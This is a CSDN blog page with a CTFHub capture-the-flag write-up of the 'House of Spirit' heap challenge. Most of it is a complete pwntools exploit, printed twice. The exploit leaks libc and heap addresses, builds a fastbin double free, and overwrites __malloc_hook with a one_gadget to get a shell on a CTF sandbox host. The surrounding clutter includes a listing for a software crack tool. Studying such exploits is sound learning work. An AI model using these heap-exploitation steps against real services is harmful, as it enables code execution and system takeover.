[CTFHub-技能树]-----House of spirit

优快云技能树使用评测 优快云技能树使用评测 项目 内容 这个作业属于哪个课程 2022春北航计算学院软件工程(罗杰 任健) 这个作业的要求在哪里 个人作业-软件案例分析 我在这个课程的目标是 培养对软件用户体验的分析能力,和市场分析能力 这个作业在哪个具体方面帮助我实现目标 深入分析软件性能,了解软件测评流程和软件市场需求 互联网上的知识呈现碎片化、质量良莠不齐。这种知识的分布模式适合用户在遇到具体问题的时候通过搜索引擎找到对应的博客解答,但是却不适合与用户对于一个知识领域系统地、完整地学习。而 阅读详情

分析

先讲一下漏洞点

这里有个很迷惑的地方就是 read(0, v6, 0x18uLL);,一开始始终没有找到漏洞出现的地方,结果问里一下其他师傅,恍然大悟,我就是傻子。
这里可以向v6中读入0x18个字节的大小。刚好可以覆盖ptr处的低4字节。可以利用这个特点构造double free来进行攻击。

利用

这里只是简单讲一下,一定要动手调试!!!调试!!!调试!!!
先把前面的代码写好

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
io = remote("challenge-aa33f598e4074e46.sandbox.ctfhub.com",32809)
#io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23_64.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))


def add(size,data):
	ru(b"choice:")
	sl(b"1")
	ru(b"size:")
	sl(str(size))
	ru(b"msg:")
	s(data)

def free():
	ru(b"choice:")
	sl(b"2")


def show():
	ru(b"choice:")
	sl(b"3")

这题的ptr只能储存一个chunk的指针,且题目中已经有个0x110大小的chunk,进入了unsorted bins,先申请0x68字节大小的chunk,其会从unsorted bin中分割0x71大小的chunk给我们,利用这个特性可以泄露出libc地址。

add(0x68,b"a"*8)
show()
ru(b"a"*8)
main_arean = uu64(r(6))
libc_base = main_arean-88-0x10-libc.sym['__malloc_hook']-0x100
malloc_hook = libc_base+libc.sym['__malloc_hook']
realloc_hook = libc_base+libc.sym["realloc"]
fake_chunk = malloc_hook-0x23
gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget = libc_base+gadget[3]
print("libc_base---------------------> :",hex(libc_base))
print("fake_chunk--------------------> :",hex(fake_chunk))

之后再泄露heap的地址,其实也可以不用泄露,可以爆破低2字节的16进制数,概率是1/16,但我不想爆破,所以直接泄露heap的地址。

add(0x68,b"aaaa")
free()
add(0x10,b"aaaa")
ru(b"choice:")
s(b"b"*0x14+b"\x10")
free()
add(0x60,b"\x10")
show()
heap_addr = uu64(r(6))-0x10
print("heap_addr------------>: ",hex(heap_addr))
free()
add(0x10,b"aaaa")

offset = int(hex(heap_addr)[10:12],16)
print(hex(offset))

这里利用了fastbin的特性,泄露了fd指针。
之后就可以构造double free了。

ru(b"choice:")
s(b"b"*0x14+b"\x80"+p8(offset))
free()

add(0x60,p64(fake_chunk))
add(0x60,b"a")
add(0x60,b"a"*0x13+p64(one_gadget))
# add(0x60,b"a"*3+p64(0)+p64(one_gadget)+p64(realloc_hook+16))
add(0x60,b"a"*0x13+p64(one_gadget))

ru(b"choice:")
s(b"1")
ru(b"size:")
sl(b"32")

最后的exp为:

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
io = remote("challenge-aa33f598e4074e46.sandbox.ctfhub.com",32809)
#io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23_64.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))


def add(size,data):
	ru(b"choice:")
	sl(b"1")
	ru(b"size:")
	sl(str(size))
	ru(b"msg:")
	s(data)

def free():
	ru(b"choice:")
	sl(b"2")


def show():
	ru(b"choice:")
	sl(b"3")


add(0x68,b"a"*8)
show()
ru(b"a"*8)
main_arean = uu64(r(6))
libc_base = main_arean-88-0x10-libc.sym['__malloc_hook']-0x100
malloc_hook = libc_base+libc.sym['__malloc_hook']
realloc_hook = libc_base+libc.sym["realloc"]
fake_chunk = malloc_hook-0x23
gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget = libc_base+gadget[3]
print("libc_base---------------------> :",hex(libc_base))
print("fake_chunk--------------------> :",hex(fake_chunk))

add(0x68,b"aaaa")
free()
add(0x10,b"aaaa")
ru(b"choice:")
s(b"b"*0x14+b"\x10")
free()
add(0x60,b"\x10")
show()
heap_addr = uu64(r(6))-0x10
print("heap_addr------------>: ",hex(heap_addr))
free()
add(0x10,b"aaaa")

offset = int(hex(heap_addr)[10:12],16)
print(hex(offset))

ru(b"choice:")
s(b"b"*0x14+b"\x80"+p8(offset))
free()

add(0x60,p64(fake_chunk))
add(0x60,b"a")
add(0x60,b"a"*0x13+p64(one_gadget))
# add(0x60,b"a"*3+p64(0)+p64(one_gadget)+p64(realloc_hook+16))
add(0x60,b"a"*0x13+p64(one_gadget))

ru(b"choice:")
s(b"1")
ru(b"size:")
sl(b"32")


itr()
优快云学习区技能树测评 技能树是优快云提供的系统化的、面向实战的学习环境,集学、练、记录于一体,能帮助用户系统地浏览关于Python、Java、MySQL、GO等领域的知识点,做动手练习,并逐步跟踪自己的成长。 阅读详情

相关推荐

软工第二次个人作业——软件案例分析

2023级北航软工第二次作业——软件案例分析

WWWengine的博客 741

优快云 技能树使用体验与产品分析

技能树是 优快云 提供的系统化,面向实战的学习环境,称为“一站式学习工具”。目的是体系化学习,内容系统,练习完备,学练融合高效学习。 C 站目前开放了 Python、C 、Java、算法、网络等 14个技能树供用户内测。 .........

youcans的博客 2998

优快云技能树功能分析

技能树是优快云提供的系统化,面向实战的学习环境

测试一二三 508

技能树

简单的目录1.C语言2.数据结构与算法3.ARM裸机开发4.应用编程与网络编程5.驱动开发与操作系统 1.C语言 C语言这一块的高频考点有预处理、关键字、数据类型、指针与内存管理。 (1)预处理有文件包含、宏定义、条件编译,其中最重要的是宏定义,通常考核宏定义的语法、宏替换与函数的区别等。 (2)C语言的关键字有很多,有普通的数据类型关键字(如char, struct等)、控制语句关键字(如continue, break等),还有常考的存储类关键字(auto, extern, static, const,

平平酱的博客 2954

从零开始:IBM V3700控制器更换与机器代码升级全流程指南

本文详细介绍了IBM V3700存储系统控制器更换与机器代码升级的全流程指南。从前期准备、硬件更换到版本同步,逐步解析如何应对503错误等常见问题,确保系统稳定运行。通过实战案例和优化建议,帮助工程师高效完成维护任务,提升存储系统可用性。

weixin_28365523的博客 312

大模型事件抽取学习——论文学习笔记《LLMs Learn Task Heuristics from Demonstrations:......》

本篇博客介绍一篇发表在2024 ACL main上的文章:《LLMs Learn Task Heuristics from Demonstrations: A Heuristic-Driven Prompting Strategy for Document-Level Event Argument Extraction》 方向:大模型事件抽取 本篇博客为个人阅读论文的总结与笔记,在这里进行简单的分享 论文链接:https://arxiv.org/abs/

weixin_53751318的博客 1852

【系统化学习】优快云算法技能树测评

一、前言 优快云技能树Python版本率先于2021年9月17日发布,能帮助用户系统地浏览关于Python领域的各个知识点,做动手练习,并逐步跟踪自己的成长。 后面逐步开放了C、算法、Java、PostgreSQL、CS入门、OpenCV、Neo4j不同版本的技能树 二、使用流程(Web端) 1.点击技能树 进入网页端首页,在下方会有功能区,点击第一个技能树 2.进入技能树 选择合适的技能树,进入之后界面非常整洁清晰,左侧是目录部分 中间介绍了技能树自己的学习进度、难度.

知心宝贝的博客 3347

音频质量评估指标全解析:从主观到客观的全面指南

本文全面解析了音频质量评估的核心指标,涵盖主观评价(如MOS、DMOS)与客观评价(如PESQ、STOI、SDR)。重点介绍了DNSMOS等AI驱动的无参考评估方法,并提供了根据语音通信、噪声抑制、语音分离等不同场景选择指标组合的实战指南,帮助开发者和研究者科学量化音频质量。

rum55的博客 643

技能树:学习编程语言的利器,如何优化它?

随着互联网的发展,IT人才的短缺将越来越严重。我国IC人才、网络存储人才、电子商务人才、信息安全人才、游戏技术人才严重短缺;从软件人才层次来看,具有行业背景的高层次系统分析师和项目规划师少,软件蓝领也供不应求。随着IT行业越来越火爆,各大高校计算机专业的报考人数也在不断增加。近年来,随着毕业生人数的激增,就业率和供求比明显下降。想不在竞争愈演愈烈的IT行业中被淘汰,就要通过不断地学习,提高自己的专业能力。

m0_75218397的博客 1026

Globus数据下载全攻略:从零配置到批量下载大文件(附常见问题解决)

本文详细介绍了Globus数据下载的全流程,从零配置到批量下载大文件的实用技巧,包括环境准备、高级传输策略、性能优化及常见问题解决方案。Globus作为科研数据的高效传输工具,通过并行流传输和自动校验技术,显著提升大规模数据传输的效率和可靠性。

u9v0w的博客 662

Arduino IDE 2配置ESP32-S3工程全指南

嵌入式开发中,Arduino框架通过硬件抽象层(HAL)大幅降低MCU入门门槛,其核心在于板级支持包(BSP)与底层构建系统(如ESP-IDF)的精准协同。理解CPU频率、Flash模式、分区表、PSRAM等关键配置,本质是掌握SoC时钟树、SPI Flash通信协议、内存映射与FreeRTOS调度机制的技术原理。这些参数不仅决定固件能否启动,更直接影响功耗、实时性、OTA升级与大容量应用(如LVGL、TFLite Micro)的可行性。本文以ESP32-S3为例,聚焦Arduino IDE 2.x环境下从

root9的博客 783

算法技能树

算法的系统学习:通过有效的训练来逐步提高我们解决问题的能力,同时也是提升我们的逻辑思维能力。

优快云学习 1928

Windows 下 Hermes Agent(爱马仕)安装全记录:从零到一的保姆级图文教程

本文主要介绍了Windows 下 Hermes Agent(爱马仕) 安装全记录:从零到一的保姆级图文教程,希望能对学习使用 Hermes Agent 的同学们有所帮助。 文章目录 1. 背景 2. 实战教程 2.1 步骤一 安装WSL环境 2.2 步骤二 安装Python环境 2.3 步骤三 安装Hermes Agent 2.4 步骤四 修正 API Key 错误 2.5 步骤五 配置多个模型 2.6 步骤六 启动Hermes Agent 3. 常见问题及解决方案 4. 总结

weixin_43178406的博客 14万+

csdn学习业务 --- 技能树建议

技能树是一个包含了技能树知识节点、职业技能路线的综合学习平台,其中有对各种互联网入门技术的入门与进阶知识点的罗列、介绍与详细讲解,包括文字和视频的知识内容的呈现,也有对针对各个子知识点的相关习题与任务。用户可以在技能树中一站式的学习,并且通过完成题目获得学习勋章,得到官方的认可。

m0_37772254的博客 821

在ABAQUS中使用VUMAT子程序实现Hashin失效准则的详细解析与实践:深入探讨复合材料模拟仿真的高级编程技巧

Hashin失效准则是由材料科学家Shlomo Hashin于1962年提出的一种基于能量方法的多向失效理论,主要用于预测复合材料的破坏行为。与传统的单向失效理论不同,Hashin准则考虑了材料内部的多种独立破坏机制,如基体断裂、界面脱粘、纤维断裂等,这些机制在不同应力状态下可能同时或分别发生。通过计算各个机制的能量释放率,Hashin失效准则能够更为准确地预测复合材料在复杂应力状态下的破坏行为。

qq_38334677的博客 1949

YOLOv11改进 | 注意力篇 | YOLOv11引入CA注意力机制

摘要:最近关于移动网络设计的研究已经证明了通道注意力(例如,挤压和激励注意力)对于提升模型性能的显着有效性,但它们通常忽略了位置信息,而位置信息对于生成空间选择性注意力图很重要。到此本文的正式分享内容就结束了,在这里给大家推荐我的YOLOv11改进有效涨点专栏,本专栏目前为新开的,后期我会根据各种前沿顶会进行论文复现,也会对一些老的改进机制进行补充,如果大家觉得本文帮助到你了,订阅本专栏,关注后续更多的更新~3.2 在Extramodule里创建CA。在CA.py文件里添加给出的CA代码。

tsg6698的博客 2979

优快云技能树测评:开宗立派但仍需精雕细琢

1. 优快云技能树之初见 2. 抛砖引玉之拙见    第一次使用优快云的技能树,由于之前没有在同类博客平台中看到类似的产品,感觉很有创新性和逻辑性。通过对领域知识的梳理与总结,从而构建出完整的知识脉络或者知识图谱。不仅能够对迷茫的新手指引高效的学习方向,从而帮助他们少走弯路。也方便老鸟进行高效且全面的复习。所以优快云技能树立意很好,本质上属于开宗立派的产品。

herosunly的博客 1万+

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

C技能树 + 网络技能树测评

一、找BUG C技能树练习题目时,完成题目后,可跳转至Notebook来调试代码,但是出现了下图这种情况。 点击“了解详情”后,发现是下图这种情况。 建议可以在参考资料、练习题的栏目上增加调试代码的其它交互式计算环境,可以不用直接跳转到notebook。或者在“我的笔记”的旁边来增加交互式计算环境,然后“我的笔记”这一块可以隐藏起来。 二、上新测评 3月24日更新详情页 增加视频内容展示 调整参考资料-图文多篇为1篇,并平铺展示(Python、Java技能树) 增加...

qq_34438969的博客 437

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

优快云问答标签技能树(二) —— 效果优化

目录1. 问题背景2. 技能树优化2.1 技能树结构优化2.1.1 知识覆盖率2.1.2 等级体系2.2 匹配算法效果优化2.2.1 匹配算法的优化2.2.2 预处理优化2.2.3 增加其他类结点2.3 匹配效果3. 总结与下一步计划P.S. 1. 问题背景 本篇文章承接上一篇文章《编程语言技能树的构建和应用》。简而言之,是对优快云问答模块中的各个领域标签,构建一个完整的知识体系,并将问答模块中的内容、用户等,与知识体系进行关联,最终形成一个包含异构结点的只是图谱,更好地为下游NLP任务提供资源基础。 本

u010280923的博客 1577

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

嵌入式软件工程师技能树

嵌入式工程师技能清单

qq_45315034的博客 2191

优快云 算法技能树 蓝桥杯-基础 刷题+思考总结

优快云 算法技能树 蓝桥杯-基础 刷题+思考总结 目录 切面条 大衍数列 门牌制作 方阵转置 微生物增殖 成绩统计 星系炸弹 判断闰年的依据: 特别数的和 *日志统计*(双指针) 双指针 猜年龄 合并检测 排它平方数 *四平方和定理* *大数乘法* 切面条

shaozheng0503的博客 1226

GDB调试堆漏洞之house of spirit

何为house of spirit?​ 该技术出自于2005年的The MallocMaleficarum这篇文章,是一种用于获得某块内存区域控制权的技术 ​例如一个位于fastbin的区块是不可控的,但是我们希望对其进行读写操作只需他刚好满足以下两个条件即可。​第一,改区域的前后内存可控(通俗来讲就是堆溢出) ​ 第二,存在一个可控指针作为free()函数的参数(此处通俗讲就是控制chunk的fd或者bk指针),通过堆排布, ​ 伪造fake。

ZL_1618的博客 985

第二次作业(个人作业):软件案例分析

软件案例分析

hhhhhhhahhhhha的博客 358

IT人的超能力技能树

代码效率优化工具链精通系统设计能力调试与问题定位代码生成与复用学习与适应能力协作与沟通持续进化

Tang_Blogger的博客 202
上一篇: House of Einherjar
下一篇: [CTFHub-技能树]-----House of roman
saulgoodman-q
博客等级 码龄6年 828粉丝 52原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值